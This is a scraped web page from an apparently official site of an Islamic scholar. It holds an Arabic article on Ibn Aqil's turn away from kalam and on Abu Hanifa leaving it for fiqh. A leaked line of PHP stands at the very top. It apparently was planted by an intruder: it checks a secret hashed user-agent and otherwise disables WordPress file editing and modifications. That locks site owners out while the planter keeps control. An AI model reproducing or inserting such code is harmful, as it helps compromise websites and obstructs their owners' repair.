if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } ابن عقيل وعلم الكلام - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

ابن عقيل وعلم الكلام

الإمام ابن عقيل، هذا الفذ الجهبذ الذكي الفطن تعلم علم الكلام وتأثر بعلماء الكلام وتأثر ببعض آراء المعتزلة لكن الله منَّ عليه وهداه وتاب وأعلن توبته في كتاب كتبه وأشهد عليه أهل العلم، ولهذا نقول من فضل الله عليه أنه رجع وإلا فإن علم الكلام علمٌ يضل من دخله وخاض فيه ومثل الفلسفة التي قد بُلي بها بعض الطلاب اليوم، الفلسفة والمنطق وعلم الكلام لا يحتاجه أهل الإسلام، يحتاجه العلماء الراسخون أما عامة الناس يدخل مدخلًا وينزلق فيه منزلقًا خطرًا يُخشى عليه في دينه، ولهذا مما يدل على أنه رجع عن علم الكلام بعد أن تعلمه، قال رحمه الله: (أنا أقطع أن الصحابة ماتوا وما عرفوا الجوهر والعرض، فإن رضيت أن تكون مثلهم فكن، وإن رأيت أن طريقة المتكلمين أولي من طريقة أبي بكر وعمر فبئس ما رأيت).

 

إذن هذا هو الرجوع، ولهذا نقول: سبحان الله، العلماء الجهابذة الكبار من الصحابة والتابعين والأئمة الكبار وغيرهم ما خاضوا في هذا العلم، والذين خاضوا في هذا العلم ندموا، منهم من تاب ورجع، ومنهم من مات وتمنى أن يموت على عقيدة العجائز؛ لأنه دخل في متاهات وضلالات وصار عنده شيء من الشكوك هو في غِنًى عنها، ولهذا أبو حنيفة رحمه الله أول افتتاح حياته العلمية نهج منهج علم الكلام وتعلم ولكنه أبصـر وأدرك في البداية أن هذا ليس هو العلم الذي رغّب فيه الشارع وليس هذا هو العلم الذي يحتاجه لا هو ولا الأمة، فانكب على علم الفقه حتى أصبح من الجهابذة العلماء ومن الأئمة الذين يُتبعون.